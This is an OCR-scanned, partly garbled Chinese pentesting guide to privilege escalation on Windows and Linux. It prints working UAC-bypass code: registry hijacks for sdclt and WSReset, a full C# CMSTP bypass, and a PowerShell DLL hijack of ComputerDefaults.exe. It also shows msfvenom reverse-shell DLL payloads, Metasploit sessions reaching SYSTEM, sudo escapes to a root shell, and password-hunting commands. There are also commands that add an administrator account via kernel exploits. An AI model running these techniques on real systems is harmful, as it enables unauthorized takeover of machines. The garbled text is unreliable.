ffo_auto,_file
FileSyncClient FileSyn:
FileSyncClient FileSyn: 0 Process

1i3_auto _file 602
flc_auto_file 205
fli_auto_file 10
fiv_auto_file

» Folder

v | shell

~ | open
command 0.02 14,78
o SRR i N Lexe 2,7¢
_service. exe 3.1
Qyprocexpéd. exs 11 1z
g regedit. exe 4,90
B [Registry 3,84
Ker. ex 52,5

ker. exe

ker. exe
ker. exe

Ker. exe

WEEA)
FTEH\HKEY_CURRENT_USER\Software\Classes\Folder\shel\open\command

exr_auto file ~ & Ex] Pl
ext_auto file [E[EON] REG SZ cmd.exe /c notepad.exe
Extensions

25| Delegatefxecu... REG SZ

eyaml_auto_file
eyml_auto_file

f auto file

fav_auto_file

77_auto_file e

90_auto_file @0 -

95_auto file

Tl it file SERIR(Y):

feedback-hub ‘cmd.exe /c notepad.exe ¥ 2 Process Explorer - Sysinternals: www.sysinterna
fff auto_file

ffo_auto,_file File Options View Process Find Users Help

FileSyncClient FileSyn: dRB=000 |5 5 |[#&f

FileSyncClient FileSyn: ¢ Process CFU Pravate By

1i3_auto _file 602
flc_auto_file 38
fli_auto_file 1815
fiv_auto_file £
v | Folder
v shell
~ 1 open
command 0.0z 17
i N L exe 2,7
_service. sxs a1
Oy procerpod, exe L
drregedu. exe 4,9¢
iRegistry 3,8
ke, oxe 52,5
ke oxe 8. 5¢
ker. exe 8, 08
ker. oxe 0.03 600
<o.ot L

Ker. exe



C:\Windows\system32\cmd.exe -

tp://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass EN;EM &

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c
notepad.exe" /f &&

reg add HKCU\Software\Classes\Folder\shell\open\command /v

"DelegateExecute" /f

A&

%windir% \system32\sdclt.exe
2.4 Bypass UAC | DLL Hijacking (T1088) (T1038)

7£ C:\Windows\System32 B&HH B AutoElevate /¥ True B9 60 P {4
B, BHEE 13 1MAIUATFHHE Mocking FJ{E B ##Y Hijacking DLL,
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Computer Defaults. exe
fodhelper.exe
scsipl.exe
MSchedEx e exe
msconfig exe

MultiDig iIMon.exe

Windows 10 60 13 Netplwiz exe
odbcad32 exe

OptionalFeatures exe

printulexe
systemreset exe
SystemSettingsRemove Device exe
tcmsetup.exe
AR eI AERI#0#5A9 DLL
¥ Process Explorer - Sysinternals: www.sysinternals.com [DEMONFI24\deman] — O >

File Options View Process Find DLL Users Help
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Command Line:
"g:\Windows" ImmersiveControlPanel stemSettings. exe -ServerName:microsoft. windows. immersivecontro
D. panel
Path:
.. C:\Windows' ImmersiveControlPanel'8rstemBettings. exe
V... Package:
windows. immersivecontrolpanel _10. 0. 2. 1000_neutral_neutral_cwinihZtxresr
M. ..Micre... C:\Windows\System32'certca.dll
M .. Micro... : tem32WCertEnroll. d1l
cIsmErdz. 4 .. Macro... C: ystemoc\CISmETde. dil
clbcatg. d11 C...Micro... C:\Windows'System32\clbecatq. dll
cldapi. d11 C:\Windows'\8vstemd2'cldapi. d11
C:

CloudBackupSettings. d1l tem32'CloudBackupSettings. dil

CoreMessaging. dll g 3 temd2' Corelessasing. dll
Tl mponents. dil . C:\Windows'\3ystemdZ \Corel mponents. dll
credprovhost. d11 #  Micro... C:\Windows\8ystem32\credprovhost. d11
cryptal. dl1 8. . Micro... C:\Windows\System32\cryptiZ d11 W
L4 >
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MU TFREREEE:

svchost.exe \
/ GetLongPathName("CA\Windows \Syslsrrlazwinsm’.emm
L ="CAWindows\SystemI2\winSAT exe"”
= RtlPrefixUnicodeString(
< r;"‘ 3L "CAWindo AT.exe”, "C:AWindows\Systemaz",
S = | e P

b

Appinfo.dil

r
-
M-‘ J Trustod directory check passed

bsearch({"winSAT.exe", WHITELISTED_EXES,...)

J Whitalisted EXE check passed

WTGetSignaturelnfo("CWindows ‘System32winSAT exe”, ...)

CreateProcessAsUser

rinSAT.cxe”

)
\ \ j Signature check passed ‘/ /
\ v,
/

Create unfiltered directory
name with tralling space
{using ™A™ prefix)

SheliExecute invoking APC request to Appinfo service to elevate
"CAWiIndows \System3ZwinSAT exa”

CA
b
- -
winSAT exe
Windows\System3z2
Copy the
Windows \System32 WinSAT.exe
load JWINMM.dIl
)
B

WINMM.dil (attacker owned)




msf & % dil HFFE MSF S0

msfvenom —p windows/x64/meterpreter/reverse_tcp Ihost=10.0.0.117 Iport=444 —f
dll —o comctl32.dll

#03F DLL FHiEMX

stoonsole

on — msfconsole — 8740

Press ENTER to size up the situation

=[ 1
- —— ——=[ 1825 exploits — 1833 auxiliary - 316 post ]
+ == --=[ 586 payloads - 42 encoders - 18 nops 1
+ == —-=[ 2 evasion ]

]

+ == —-=[ %% This is Metasploit 5 development branch sk

18f6 > use exploit/multi/handler
1sf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
ayload => windows/x64/meterpreter/reverse_tcp

1sf8 exploit(multi/handler) > set lhost 192.168.10.125

host => 192.168.10.125

1sf6 exploit(multi/handler) > run

*] Started reverse TCP handler on 192.168. 514444
*] Sending stage (206403 bytes) to 192

leterpreter >

leterpreter > getsystem
..got system via technique
|eterpreter > getuid

lerver username: NT AUTHORITY\SYSTEM
leterpreter >

T -

Named Pipe Impersonation (In Memory/Admin)).

$base = "amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.1713
4.1 none_e4da93291059d8fb"

[ System.io.directoryl::CreateDirectory("\\?\\c:\\Windows \\")

[ System.io.directory]:: CreateDirectory("C:\\Windows \\System32")

[ System.io.file]::Copy( "C:\Windows\System32\ComputerDefaults.exe","C:\Window
s \System32\ComputerDefaults.exe" )

[ System.io.directory]::CreateDirectory( "C:\\Windows \\System32\\ComputerDefa
ults.exe.Local" )

[ System.io.directory]::CreateDirectory( "C:\\Windows \\System32\\ComputerDefa
ults.exe.Local\\$base" )

[ System.io.file]::Copy( "C:\Users\demon\Desktop\comctl32.dll", "c:\\Windows \\S
ystem32\\ComputerDefaults.exe.Local\\$base\comctI32.dlIl")

Start—Process "C:\Windows \System32\ComputerDefaults.exe"



https://www.elladodelmal.com/2018/11/mocking—-trusted—directory—uac—
bypass—en.html https://medium.com/tenable-techblog/uac—bypass-by-
mocking—trusted-directories—24a96675f6e

2.5 Bypass UAC windows defender. (T11917) (T1088)

denon

RS,

]
"
fi3
Hir
II3
ok
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b s

@ A

TSR PRI
FRTEMRIE. FRIATERIE.

- )
NO

BETeE BEMEIETH
FARATIZARIE. FRITIHARE

a & http://192.168.10.125/bypass_adduser_secist.psi ~ o |Ex. o~

2194168.10.125
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https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-

in—-newer-Windows-versions.html

/*
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe

httos://odadvar.moe/2017/08/15/research-on-cmsto—exe/

And this PowerShell script of Tyler Applebaum
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https.//gist.githubusercontent.com/tylerapplebaum,/ae8cb38ed8314518095b2e32a6
f0d3f1/raw,/3127ba7453a6f6d294cd422386caelaba2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/

using System;

using System.Text;

using System.|O;

using System.Diagnostics;

using System.ComponentModel;

using System.Windows;

using System.Runtime.InteropServices;

public class CMSTPBypass
{
// Our .INF file data!
public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[Defaultinstall]
CustomDestination=CustinstDestSectionAllUsers

RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]

; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE

taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7



[AllUSer_LDIDSection]
"HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR3
2.EXE"", ""ProfilelnstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSveName=""CorpVPN""

[Dlllmport("user32.dll")] public static extern bool ShowWindow(IntPtr hwnd, int n
CmdShow);

[Dlllmport("user32.dll", SetlLastError = true)] public static extern bool SetForegro
undWindow(IntPtr hWnd);

public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";

/* Generates a random named .inf file with command to be executed with UAC p
rivileges */
public static string SetInfFile(string CommandToExecute)
{
string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar(".
"NIOJ;
string TemporaryDir = "C:\\windows\\temp";
StringBuilder OutputFile = new StringBuilder();
OutputFile.Append(TemporaryDir);
OutputFile.Append("\\");
OutputFile.Append(RandomFileName);
OutputFile.Append(".inf");
StringBuilder newInfData = new StringBuilder(InfData);



newlnfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
File.WriteAllText(OutputFile.ToString(), newlInfData.ToString());
return OutputFile.ToString();

public static bool Execute(string CommandToExecute)

{
if(!File.Exists(BinaryPath))
{
Console.WriteLine("Could not find cmstp.exe binary!");
return false;
}
StringBuilder InfFile = new StringBuilder();
InfFile.Append(SetinfFile(CommandToExecute));
Console.WriteLine("Payload file written to " + InfFile.ToString());
ProcessStartInfo startinfo = new ProcessStartinfo(BinaryPath);
startinfo.Arguments = "/au " + InfFile.ToString();
startinfo.UseShellExecute = false;
Process.Start(startinfo);
IntPtr windowHandle = new IntPtr();
windowHandle = IntPtr.Zero;
do {
windowHandle = SetWindowActive("cmstp");
} while (windowHandle == IntPtr.Zero);
System.Windows.Forms.SendKeys.SendWait("{ENTER}");
return true;
}

public static IntPtr SetWindowActive(string ProcessName)

{



Process|[] target = Process.GetProcessesByName(ProcessName);
if(target.Length == 0) return IntPtr.Zero;

target[0].Refresh();

IntPtr WindowHandle = new IntPtr();

WindowHandle = target[0].MainWindowHandle;

if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
SetForegroundWindow(WindowHandle);
ShowWindow(WindowHandle, 5);

return WindowHandle;

}

Add-Type —-TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) —ReferencedA
ssemblies "System.Windows.Forms" —OutputAssembly "CMSTP-UAC-Bypass.dll"
[Reflection.Assembly]::Load([10.File]::ReadAllBytes(" $pwd\CMSTP-UAC-Bypass.dll
")

[CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")
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2.6 UAC-TokenMagic.ps1 4§ UAC

https://github.com/FuzzySecurity/PowerShell-Suite
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https://tyranidslair.blogspot.co.uk/2017/05/reading—your—way—around—uac—
part-1.ntml https://tyranidslair.blogspot.co.uk/2017/05/reading—your—-way—
around-uac—part-2.htmi
https://tyranidslair.blogspot.co.uk/2017/05/reading—your—way—around—uac—
part-3.html

.EXAMPLE C:\PS> UAC-TokenMagic —BinPath C:\Windows\System32\cmd.exe .
EXAMPLE C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe —Ar
gs "/cca

lc.exe" —ProcPID 1116

C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe —ProcPID 362
4
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2.7 ctftool 20 /£ BUG

BIIKEE T FMMETA Windows FRASH) 20 FERE+MNFTR
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Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task — not syncing

=l 1

o 1914 exploits - 1872 auxiliary - 338 post 1
+ 556 payloads - 46 encoders - 10 nops
+ =[ & evasion 1

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x&4/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LHOST 192.168.43.97

LHOST => 192.168.43.97

msf5 exploit(multi/handler) > run

[#] Started reverse TCP handler on 192.168.43.97: 4444
[#] Sending stage (206483 bytes) to 192.168.43.9

[*] Meterpreter session 1 opened (192.168.43.97:4444 —> 192.168.43.94:56015) at 2019-88-14 18:23:2
7 +0880

meterpreter >

meterpreter > whoami

[-1 Unknown command: whoami.
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter >

EERGAGRERNSE

https://thehackernews.com/2019/08/ctfmon-windows—vulnerabilities.html

https://github.com/taviso/ctftool/releases
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2.8 7% bypassuac-fi getsystem

B CVWIndows SYSTEMIP cmd.sxe

https://github.com/sailay1996/tokenx_privEsc

https://demonsec666.0ss—cn-

gingdao.aliyuncs.com/%E9%9C%80%E8%BF%87UAC—getsystem.zip
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2.9 WSReset-UAC
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Invoke-WSResetBypass —Command "C: | Windows |System32\cmd.exe /c start cmd.

"

exe

This will effectivly start cmd.exe in high integrity context.

.NOTES

This UAC bypass has been tested on the following:
— Windows 10 Version 1803 OS Build 17134.590

— Windows 10 Version 1809 OS Build 17763.316
#>

function Invoke-WSResetBypass {
Param (
[String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
)

$CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctq
jf8msdd2\Shell\open\command"

$filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msd
d2\Shell\open\command"

New-Item $CommandPath —Force | Out—Null

New-ItemProperty —Path $CommandPath —Name "DelegateExecute" —Value ""
—Force | Out-Null

Set-ItemProperty —Path $CommandPath —Name "(default)" —Value $Command
—Force —ErrorAction SilentlyContinue | Out—Null

Write—Host "[+] Registry entry has been created successfully!"

$Process = Start—Process -FilePath "C:\Windows\System32\WSReset.exe" -W
indowStyle Hidden
Write—Host "[+] Starting WSReset.exe"



Write—Host "[+] Triggering payload.."
Start-Sleep —Seconds 5

if (Test-Path $filePath) {
Remove-Item $filePath —Recurse —Force
Write—Host "[+] Cleaning up registry entry"
}

}

SZRR: http://www.ggsec.cn/WSReset-uac.html

https://www.activecyber.us/activelabs/windows-uac-bypass

3. Linux:

3.1 FI A linux 1Y ed A JRiE 2SR THL R

ed LB THRITHXARERG S, KEMENERET, SUDO Lab 1IRE;
RF+4R, FIA SUDO, ed 2 linux A FIRE FRIEH ERiES, T 1969
FHK, HviFXTRERBLE,

FRARZZHRBZE, BEZLMETHE—Ted 717, XEM—TL2EERIR
. BESWHIBENIEXCRIISERZR: linux BN, ed RIEFT

*  ed XAYREBHRETRIF: ed AN HE, a A, . FiE, wERXHEHSR,
q R 4miEER

e {FMH ed mEXH: ed info.txt
o BFREMFEMT: BERTE5ITENRESE, p, n, BERIZITC

o BUfEM ed ERtEIRHEE ed TEEBNIATERES, BESHXERNE
2 h

100N



o B ed EFIFIFBONRIE: EFt, BEIm
o {FH ed HITHEZRIZIE: ed —p% info.txt, EERXEZF: %/linux
FIF ed

e Sudo Rights Lab iR & 7 RIZF-ELEXHIRELF, test FHFPHY root XFRFN
NOPASSWD: /bin/ed

e FIF Sudo XF: #A sudo —I, sudo ed, !/bin/sh

RAMENETEEX GRS, &K test B ETLZERBRIIEE F R AL root X
FRXIE1T ed REERE, ®mEFIAHA sudo -I, sudo ed, !/bin/sh, test BF &L
BE7T root FXFRHY shell KX E#HL1TT

SZZH linux B5ENMNY, ed FRIEF: https://www.hackingarticles.in/linux—
for—pentester—ed-privilege—escalation/ | Linux XAE{Ear< ed #H1Tig
& https://www.freebuf.com/sectool/209494.html

3.2LINUX sudo (T1169)

https://github.com/nongiach/sudo_inject1

THATIEER

exp

@ S @ demon@secist: ~/sudo_inject-master

demon@secist:~/sudo_inject-master$ echo $$

5440

demon@secist:~/sudo_inject-master$ ps -aux |grep 5440

demon 5036 0.0 0.7 36 7492 ? Ssl @7:23 0:00 fusr/lib/x86_64-1linux-gnu/indicator-messages/indicator-mes|

sages-service

demon 0.0 ©.5 27040 5636 pts/26 Ss 07:23 0:00 bash

demon 9164 0.0 ©6.2 15968 2212 pts/26 S+ 07:42 0:00 grep --color=auto
demon@secist:~/sudo_inject-master$
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W22 sudo RYZSEFIA
sudo struct

struct timestamp_entry {
unsigned short version; /% v on number
unsigned short size; / i
unsigned short type;
unsigned short flags;
uid_t auth_uid;
pid_t sid;

struct timespec start_time;
struct timespec ts;
union {
dev_t ttydev; / evice number
£ pid *f

1.sudo |s EFFREVNFR

2.sudo id ATLAEZ sudo ZF3KEX root tXfR
:/root$ sudo ls
[sudo] demon B ZE G :
1 aH Eiff @ BFRF X8 T#H
:/root$ sudo id
uid=0(root) gid=0(root) £H=0(root)
:/root$ sudo -1
:~# exit

:/roots I

3.sudo —i FFIREX root FPEFH LA root tXPR{EFR shell EF
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1t$ sudo -h
sudo - U.ﬁh‘hﬁﬁ):'%‘h AIT—Fd

udo -h | -K | -k
-v [-AknS] g [-h host] [-p prompt] [-u user]
-1 [-AknS] [- roup] [-h host] [-p prompt] [-U user] [-u user] [command]
[-AbEHknPS] [-r r [-t typel [-C num] [-g group] [-h h [-p prompt] [-T timeout] [-u u
-e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeo

num #9 32 ¢ 6 i &
#L1Tun7ET1$EaEﬁF'5TTE

)

9

-H
-h
=h
% 4

R
1; EIEREE — %7

O+ (51 Tk e i

Lok I L U R i

%wmm@aw#

-

M FRBL EFERAAR
:Jﬁ T8
tHEE ﬁ'ﬁﬂE BELMEMMNEDE

FHEETMEBRER

; ?EIiEﬂE B SELinux E£#H 15

THETFE;I—::—"‘: s

el U T R T I B = B o e

=

EE RN L EAIB ISR #1T sudo JEA

$ whoami $ kill -SIGTERM 1337
tomate

S echo $$
1337

S sudo id —u
Password:
uid=0(root)
S sudo id —u
uid=0(root)
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Second exploit

S kill -SIGTERM 1337

S ./spawn_process_pid 1337
S echo $$
1337

S sudo id
uid=0(root)

3.3 LINUX sudo (T1169)

demon@ubuntu:~$ sudo /1ib/x86_64-1linux-gnu/1d-2.19.s0 fusr/bin/python -c 'import os;os.setuid(®);os.system("/bin/bash")
[sudo] passwerd for demon:

root@ubuntu:~# whoami

root

root@ubuntu:~# I

http://touhidshaikh.com/blog/?p=790 https://gtfobins.github.io/
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] Terminal - rootémonkey: -

File Edit View Terminal Tabs Help

nonke: ls -1 /1lib/x86_64-linux-gnu/1d-2.23.s0
cr-x 1 root root 162632 Jan 14 2018 /lib/x86 64-linux-gnu/1d-2.23.so
1key getcap /1ib/x86 64-linux-gnu/1d-2.23.s0o
_64-linux-gnu/1d-2.23.so = cap_setuid+ep
emp 3 /1ib/x86_64-1linux-gnu/ld-2.23.so0 /usr/bin/python -c 'import os;
os.setuid(0); os.system("/bin/bash")’
root@monkey:~#

demon@ubuntu:~% sudo find fetc/passwd -exec /binj/sh \;
[sudo] password for demon:

# ls
Documents Downloads examples.desktop Music Pictures Public Template)

3.4 sudo-ed-$21Y

o-@®
O® 0 xiHF) WWE HB(V) BER(ES) 2w FEE) EiH)
root@secist: fhome/demon

demon@secist:~% sudo ed
[sudo] password for demon:
! fbin/sh

# id

uid=8(root) gid=8(root) #H=8(root)
|
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https://www.hackingarticles.in/linux—for-pentester—ed—privilege—escalation/
https://www.freebuf.com/sectool/209494.html

http://www.ggsec.cn/sudo-ed.html
4. TR

BEARGIUG, B—TEMEEERAEARREKFABHEZENTIE, =3
SNRIKSZBEEMESTIRRETT . . o

FTARENH LI Windows fRSZZLERSN, [IRBRSERERYE, Hom
BET xm SN HE, REESRNAMERGNEIFENINRE.

A E] LA B $E(EBEY Metasploit EIREM BT ABITLZREB THER,
MUK IS web AR5 2309 web.config 14

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

C:\inetpub\wwwroot\web.config

HHIEE CMD L8 RE S 813 password I, ARk C BT aIsEEMEEIE
RIS {4

findstr /si password *.txt
findstr /si password *.xml

findstr /si password *.ini

C:\> dir /b /s unattend.xml
C:\> dir /b /s web.config
C:\> dir /b /s sysprep.inf
C:\> dir /b /s sysprep.xml
C:\> dir /b /s *pass*

C:\> dir /b /s vnc.ini

MR



reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

PowerSploit FIEIRIGE

Get-UnattendedinstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon

#I1E, BIEEXCRINSERZR: FHEEIL

SEEZR ZHEEIE: https://pentestlab.blog/2017/04/19/stored-credentials/
5. Windows P44 il

FAREERAFIREN, cmd WEFFEELTENEIINER

wmic gfe get Caption,Description,HotFixID,InstalledOn

RIS X BRERFHAB R AUERERR AN T

wmic gfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" /C:"
KB4018483"

F A Metasploit IRBIEREAI4N T

post/windows/gather/enum_patches

Windows Exploit Suggester T EiRFIFR&AI4NT T Eitthit:
https://github.com/GDSSecurity/Windows—Exploit—-Suggester

powershell BIA<IRBIERFCAI4NT TEHbE: https://github.com/rasta—

mouse/Sherlock



BEIRARSAIUNESFEEEE—T exp: Lb# github, ExploitDB, metasploit
ENE

FIE, BEIESXCRIIZE R R Windows AR A
 CMD &< &kMESHMRSFANT 7

e Metasploit FRIRIABIERIKAIHN T

e power shell #9#&MIEIA

o MREMITA=FE, EEREENE

ZEZ M Windows Wiz aEFI A -
https://pentestlab.blog/2017/04/24/windows-kernel-exploits/

FAF2%B5; Hash 3RBX: 1.WCE: 2.mimikatz: 3.get-pass T&thtt: Tt
ib: $&#%: https://pan.baidu.com/s/1QB4XpFGxjS—_edgJnWWLOA 2 EXE5:



nfdm fEEZRS: t00ls.net win2008 MK LI,

C:iNUsers\Administrator>C: \getpass_xb4.exe
TEEDIGAS T = 936

Authentication Id:8:996
Authentication Package:Megotiate
Primary User:yywoxind
Authentication Domain:WORKGROUP

User: yywoxin®
Domain: WORKGROUP
Password:

Authentication [d:9:1084543
Authentication Package :NTLH
Primary User:Administrator
Authentication Domain:=Y¥YYWOHIN

User: Administrator
Domain: ¥YYUWORIM
Password:

Authentication Id:@:9927
Authentication Package :Megotiate
Primary User:LOCAL SERVICE

Authentication Domain:NT AUTHORITY
7}

windows 4B TR Windows—Exploit—
Suggester:https://github.com/GDSSecurity/Windows—Exploit-Suggester

python BIZ, <#F python2.7, ZTELE xldr &R, 1.55EMKERE python2

windows—-exploit—-suggester.py ——update

ir AX

ERBEMARGNARSEEXH: systeminfo > 1.txt



ZHe == KN

i
| lixt "'—”

@ 2019-10-08-mssb.xls

] LICENSE.md

] READMEmd

[# windows-exploit-suggester.py

exploit—

exploit-s

eminfo

BERARE: python2 windows-exploit—-suggester.py ——database 2019-

10-08-mssb.xls ——systeminfo 1.txt

er tc

vulnerabilitie
the 160

Confusig

I

RIFERERFERNFEI X TRBNRNGE,

I1S6 124X 11S6 BN T A2 —F windows At TR, FTE/ERAER LUSEIR
FREFIEARNRZIIR, & ILTF webshell 124X, *h T 23 KB970483 1KXFRA

P



e hwindows| system 321 ermd exe

EIMEBLANIMER network PR, EAH iis6.exe
172166 13800728603)

ciwindows|system32\crmd.exa

{c CARECYCLER 6. exe "whoaml”




RIMBRY system BRIRT, MAAMUBRERNTRIIAF 6L

i \windows|system32iomd.exe

Jc C\RECYCLERVis6.exe "net user admin admin fadd”

RiERNRERA

He 5o -
AT

fc CARECYCLER\is.exe "net localgroup administrators admin fadd”

ms11080



ms11080 #AXE — windows Atim i TR, FEFAME R ISR RAF IR
FHRARGER, ¥ T webshell 12X AR

e hwindows| system 321 ermd exe

RINFATIIER network AR, 1A 11080.exe HHAT

c:Ywindows!system32ycmd. exe
fc C:\RECYCLER\11080.exe

PR #2 PR 2t X TEE— windows Aithim i TH, FEFAME T LUSEANR
RPEANRGNR, FRT webshell 121X, T 57 KB952004, fRANFR:



AIMMBATELERZ network #XFR, A pr.exe

. iwindowsh system 32y omd. exe
Jc CARECYCLER\prexe “whoami®

EfAERARN EAERRENTAZ— M windows AitEE TR, TEZ/ERAMER
PUSEARAF RN RGIR, BT webshell 121X, mE+TSH
KB956572 {KXFR:

cwindows!system32icmd exe




RIVFAVIIER network PR, &R churrasco.exe
B ol BB BBBBBBBSSS————————.

c\windows\system3Z\crnd, exe
Jo CARECYCLER  churrasco.exe "whoami® hiT

6.DLL HA

ES—THEENAFZEHLUEAN DLL IERETEERDE, SEARREUAT
A THEBESNLETAR (IREZSDR, HMEZDNR)

1.8 DLL IR 2.“CreateRemoteThread” A “LoadLibrary” 3. &= &30
HEF RSN ERE R CPU FE 1 B BREZAETZIMEIR (PEB) |, #
MHPRINEH kernel32dIl FHERIE AR ENAZRAMUL, 4. &KIFTE APl K
AR TFHbE, 140 LoadLibraryA, GetProcAddress # VirtualAlloc, 5. EER
R EUIE A48 DLL IEfa &R AFEHFHEAERT DLL A O DliMain,

#& DLL

BIT Metasploit B msfvenom SI& DLL, £ BSIFENEREHTAIDLL, &
& metasploit l1lf23, AEEEE DLL FNEZEE R @EEZEIR



PCFE DLL JEA A
MEETHXPMITHE: Remote DLL Injector ik :

https://securityxploded.com/remote—-dll-injector.php Bt E:
https://securityxploded.com/remotedll.php

% T BE{#£F T {# CreateRemoteThread AR5 DLL 3TN, T
CreateRemoteThread X & windows APl FR— PR R, ERMUES—T
H#HEF, IE—EE, NREXS R EVRMSEAE, ATLAEEX RS E R/

CreateRemoteThread K%k
e IE, XE—EBEIMC++R1E, BREEXTRERIENEREIAIEE,

o [A¥: LoadLibrary th2K%K, RILAEIZTE windows FF & AGAOAHEZE]
8], KBRAE—GIE, BTUAINE.dIl XH4E.exe X4

ZTHRBETSNE DLL JENEA T ASLR RIPHIHIRI#TZ: KT ASLR AJ USRS E
RRAFRENA R (ASLR) BT MRAINEAN DLL, EFREEGHIZNRAY

meterpreter 21&

metasploit B BB AT 1T DLL EANRISERIR, PowerSploit B EBERATFHIT
DLLFANRIELR, DA EFREFIE, BIEIECRISE SR DLLEN

e XF PowerSploit E=Z powershell B;83E1EZR, # nishang —#¢, #1515
ESRIBZE SRR Powershell & Powersploit A7)

SZ%H8 DLLEN: https://pentestlab.blog/2017/04/04/dll-injection/
CreateRemoteThread %% : https://docs.microsoft.com/en-
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createremotethread NTZBEHLLRIF(ASLR)E
71:https://introspelliam.github.io/2017/07/14/0day/ %E5%86 %85 %E5%AD
%98%E9%9A%8F%EG%IC%BAY%ES%8C%96%E4%BF%9D%EG%8A%A4
—ASLR-%E7%AE%80%E4%BB%8B/ Powershell & Powersploit \[7]:
https://www.secpulse.com/archives/55893.html



7.5 R S5 AR
TS HR, RSHRREEERSISHIREE, I55ARSNER

£ windows #, ZESPIFER system NRIEZTHRS, MAXLERSTEE
BOAITRENRE, XERSEIEZERTE=ANRETEN. SZBRAL
FHENRSIX RN B IRELT .

BB meterpreter 152 shell BAlg, ATDMERRHEIREA TR AccessChk v6.12 3k
KE—TKF BEZHMBR AccessChk v6.12 &t

https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk

B TEERIMEAFPAMERMFAERS, HEHRE—5%2 apache RSB M
ServiceAllAccess, MEIEREMEBRABIAONNERR, BMSGERAVAARNIEX
KOS EZER: RBLEMIADNR

BE#A%E ServiceAllAccess, FRANGRPIASERRIIZHILARSS, AIAMECRUILARSSHY

B, BEWL sc qc Apache, SRENRSHEEEE ., BBETH

BINARY PATIHNAME S ] AT R G LRIEMISG S, FXENE, 1SRRI
FAFEIAERRANGS, MMEBETLAERANIR. SUEE NRRSE
BR4EN, BTERTENERE, ERME apache RZFEERRWA, EFLK
BANBECHRMAFRNG LT . AR S8BT,

metasploit th IR AT URE HUFIFISSIRSIUR, PowerSploit thEE 118,
BARANSERE: BRSER

SZEFR BIRSBIR: https://pentestlab.blog/2017/03/30/weak-service—
permissions/ IRSZLZEMIFEINR: https://docs.microsoft.com/en—

us/windows/win32/services/service-security—and-access-rights



8.DLL &%

[ AR FIARSS BT, ok DLL, MSRIXL DLL AEAHIREARLZEH AL
1IERAY DLL #pEER DLL XX,

T RER

o NN DLL REFER

 NERSES system NRATAHIERZ SR DLL

o EERALENER, UNRERRFEEESMRITR Path TE

e {EFH Metasploit £ 5 payload, #RiE L TXEaA, B Process Monitor
AILAYERD DLL BOER 1R

»  PowerSploit th AT A5 A L&
MEEEFEMEIS DLL, IEXLEAIERN DLL AESH
g, BRIECGRINSERR: DLL #h#F

SZ%F DLL #13F: https://pentestlab.blog/2017/03/27/dll-hijacking/

9. RETHARNRE Hot potato, 1T

T EERRLTERE, BEIEXARSZRH: A1+ E S potato [RIB, 151H
ENARSEZRER: Hot Potato — Windows X B2 F

JINKBER:
e NTLM 4%, NBNS HiIR

e N3 NBNS #R3E: & hosts, & DNS, R/EE NBNS, {4i& NBNS HWEISiE
K, BRI RHITHMINE



e UDPiImO#FERIRAIGET RS _LAIFTH DNS EHAMN, &EHITNBNSE
13

o {RWPAD (IEARSS 2

HTTP - > SMB NTLM A4

Mt T https://pentestlab.blog/2017/04/13/hot-potato/ Hot Potato —
Windows tXfE&F: https://foxglovesecurity.com/2016/01/16/hot-potato/

10. Juicy Potato (T1134 - i} 4 BaHfE )

https://ohpe.it/juicy—potato/ https://ci.appveyor.com/project/ohpe/juicy-
potato/build/artifacts



https://attack.mitre.org/techniques/T1134/
https://demonsec666.oss-cn-qingdao.aliyuncs.com/1534722323_5b7a01139a3aa.jpg

11AFREFH AR BT SORRZ 20 =

HERRFH, WEREBRE, token Zfta, BAZRRMIHEEITAIT? HBEM
BAIN? EMEF]?

falE, BNFEINNNEE, K—REEENRI, BB L TXHXIE, RIEM
2HRE, BERUNOERAZEEEX MO, STIRRIRI11R, EEARREN
BF, 3E—XEM token, system HFAKIE,

B, WEEENETE: wiki, A wiki RN token, H—FSEXKRELI TSI
BXE. EBiR5IHFKET, Windows FRAGHL, HIE—R, B, SESER
#: access token (58] HE)

Windows FFRAGRHIL, XEREENE_NMEERETFE . XEMIEIIMERE
HIARBEEHGTF TEEZE. BARKBRBYFRNEKR, BT RAXHF]
